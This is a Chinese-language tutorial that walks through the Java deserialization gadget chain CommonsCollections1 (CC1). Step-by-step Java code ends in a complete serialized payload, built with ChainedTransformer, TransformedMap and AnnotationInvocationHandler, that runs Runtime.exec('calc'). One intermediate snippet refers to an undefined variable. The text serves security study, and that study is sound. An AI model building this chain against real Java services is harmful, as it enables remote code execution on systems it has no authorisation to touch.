文章目录
- 前言
- 一、过程分析
- 1.入口点---危险方法InvokerTransformer.transform()
- 2.触发危险函数TransformedMap.checkSetValue()
- 3.AnnotationInvocationHandler类
- 4.ChainedTransformer类
- 5.ChainedTransformer类
前言
本文包括:Java反序列化之CommonsCollections篇(CC1)的一些过程分析。
一、过程分析
1.入口点—危险方法InvokerTransformer.transform()
1)入口点是Transformer类,Transformer类是Commons Collections中自定义的一组功能类。Transformer类的功能就是接收一个对象然后调用transform方法,对这个对象做一些操作。
2)可以看看这个transformer的实现类有哪些都怎么做的。可以自己逐一看看,CC1链重点类是InvokerTransformer类,所以我们直接看这个类。
3)可以发现是input接收一个对象然后通过反射的方法进行函数调用,其中的方法值(iMethodName),参数类型(iParamTypes),还有参数(iArgs),全部都可控,就是一个标准的任意方法调用。这里只需要传入三个参数就可以调用对象中的任意函数了。
4)参照并使用InvokerTransformer.transform的写法弹个计算器。在CC1链中InvokerTransformer.transform方法就是最终调用的危险方法。transform()方法主要就是用于对象转换。
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
// // 1.先弹个计算器
// Runtime.getRuntime().exec("calc");
// // 2.写一个普通的反射
// Runtime r = Runtime.getRuntime();
// // 获取Runtime的class
// Class c = Runtime.class;
// // 获取Runtime的exec方法
// Method execMethod = c.getMethod("exec",String.class);
// // 调用exec方法
// execMethod.invoke(r,"calc");
// 3.InvokerTransformer的写法
Runtime r = Runtime.getRuntime();
// 参数名exec 参数类型是个数组内容为String.class 参数值也是数组内容为calc
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
2.触发危险函数TransformedMap.checkSetValue()
1)上面我们通过InvokerTransformer.transform方法弹了个计算器,然继续往下分析。我们通过案例中的transform,找到InvokerTransformer.java文件中的transform方法,然后在此方法上右键找到都有哪些使用了这个方法,发现一共有21个。
2)从这21个结果中逐一去分析,我们主要找不同名字的调用transform,因为transform调用transform没有意义。最终我们找到了这个TransformedMap类,TransformedMap类的功能就是接收一个Map进来然后对它的key和value进行一些操作。可以看到有三个方法都调用了。
3)我们直接看第三个checkSetValue方法,发现是checkSetValue方法中的valueTransformer调用了transform()。
4)往上翻看一下valueTransformer的构造函数,发现是构造函数是protected受保护的类,说明是自己调用的,功能就是对传进来的map的key和value做一些操作。我们需要找到公共的类,所以还需在看。
5)在往上翻看看是在哪里调用了,翻到73行可以看到一个静态方法decorate(),这个方法里完成了装饰的操作。那么就是只要使用公共的静态函数decorate()调用TransformedMap,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap。
6)往下找到可控参数后,在往上找看一下谁调用了checkSetValue。可以发现就一例调用了,在AbstractInputCheckedMapDecorator中的setValue。可以发现TransformedMap的父类就是这个AbstractInputCheckedMapDecorator。
7)setValue方法在MapEntry类里面,然后再重复之前的动作再找一下是谁调用了setValue,发现有38个结果。
8)不想找也可以理解一下,Entry是HashMap遍历的时候,一个键值对就是一个Entry。写一个测试案例理解一下。查看setValue实际上就是entry.setValue(),它是重写了这个方法。
// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
// 遍历
for(Map.Entry entry:map.entrySet()){
entry.getValue();
}
9)现在就是只要我们遍历这个被修饰过的Map调用decorate()就会走到这个MapEntry类中的setValue方法。过程简述如下所示。
10)一个完整案例。现在就是只要调用setValue方法我们就能执行命令。调用流程如下所示
TransformedMap.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// 遍历
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
}
}
3.AnnotationInvocationHandler类
1)刚刚是描述如何触发这个漏洞,我们手动向修饰过的map中添加新元素从而触发一系列的回调,但在实际的漏洞利用环境中我们肯定是不能手工执行的,我们需要让它在反序列化后能自动触发,也就是说需要找个某个类,在执行了这个类的readObject后能够触发回调的,在继续找是谁调用了,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类。
2)这个readObject中有一个遍历Map的功能,这里的一个值调用了setValue方法(),找到这个类后看看有没有什么可控参数,从这个类的名字AnnotationInvocationHandler可知它是动态代理过程中调用处理器类。
3)看一下这个AnnotationInvocationHandler类的参数,构造函数中是接收了两个参数,第一个是type是class对象并且继承了Annotation的泛型,第二个是memberValues是Map对象,这个Map对象就是可控的。这里需要注意这个包没有写public,什么也没有写在java里面就是默认的 default类型,default类型只有在这个包里面才能访问。这里就只能用反射去获取了。
4)设计一个流程。
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// 遍历
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
// 反射创建
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取私有构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确认可以访问的
annotationInvocationHandlerConstructor.setAccessible(true);
// 实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
private static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
5)现在这个流程还有几个问题,第一个需要满足两个 if 判断,第二是setValue这个是需要传的是runtime对象,但是现在他是AnnotationTypeMismatchExceptionProxy这个对象,另外就是上例中的Runtime对象是我们自己手动生成的,这个是不能序列化的因为没有继承序列化的接口,所以只能通过反射来使用。
6)先解决不能序列化的问题,Runtime.getRuntime()不能序列化但是Runtime.class是可以序列化的。我们查看Runtime这个类,可以发现有个一个方法能够返回Runtime。
7)先来一个调用Runtime.class的普通反射。
import java.lang.reflect.Method;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
Class c = Runtime.class;
// 获取静态方法getRuntime 它是一个无参方法所以没有参数类型
Method getRuntimeMethod = c.getMethod("getRuntime",null);
// 反射调用 因为它是静态方法并且无参数调用所以都为null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
// 反射调用Runtime的exec方法
Method execMethod = c.getMethod("exec",String.class);
execMethod.invoke(r,"calc");
}
}
8)还是再来一个InvokerTransformer的版本。第一步先获取到getRuntimeMethod。
// InvokerTransformer的类型为new Class[]和Object[]
// getMethod方法第一个是String,第二个是class数组 ...可变代表数组
// 第一个new Class[]就参照getMethod方法为String.class和Class[].class
// 第二个new Object[] 就是"getRuntime"和null
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
9)第二步获取getRuntimeMethod之后在调用invoke方法。
// InvokerTransformer的类型为new Class[]和new Object[],
// 第一个new Class[]就参照invoke方法为Object.class和Object[].class
// 第二个new Object[] 就是null和null
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
10)第三步就是反射调用。最终代码和运行结果如下
import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
// InvokerTransformer的版本
Class c = Runtime.class;
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
}
}
4.ChainedTransformer类
1)之前都是循环调用InvokerTransformer,所以使用ChainedTransformer类。ChainedTransformer有序列化的接口。现在解决了Runtime反射调用的问题。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
Transformer[] transformer = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(Runtime.class);
}
}
2)在通过调试看一下第一个两个if判断的问题。目前的写法是进不去第一个if判断的。通过调试发现通过序列化接口进入,然后此时的AnnotationType.getInstance(type)中的type为Override,想要获取Override里面成员变量,但是此时值是空的没有值获取不了。
3)往下看也知道是先通过memberValue这个键值对,用memberValue.getKey()获取key,获取到key后在memberTypes.get(name)中查找这个key。又因为Override中没有值现在条件不满足,要能满足第一个if条件的话我们需要找到一个有成员方法的class,同时数组的key要改成他成员方法的名字。
4)这里是用的Target,里面有一个value(),可以发现再次调试就进入了第一个if判断里面。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
Transformer[] transformer = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(Runtime.class);
// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("value","asdf");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// // 遍历
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
//
// 反射创建
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取私有构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确认可以访问的
annotationInvocationHandlerConstructor.setAccessible(true);
// 实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
private static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
5)第二个if是判断能否强转,这里强转不了所以能够进入到第二if判断中。
5.ChainedTransformer类
1)最后利用ChainedTransformer类完成整个利用链。最终代码和结果如下。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] atgs) throws Exception
{
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
chainedTransformer.transform(Runtime.class);
// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("value","asdf");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
// 反射创建
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取私有构造器
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// 确认可以访问的
annotationInvocationHandlerConstructor.setAccessible(true);
// 实例化
Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");
}
private static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}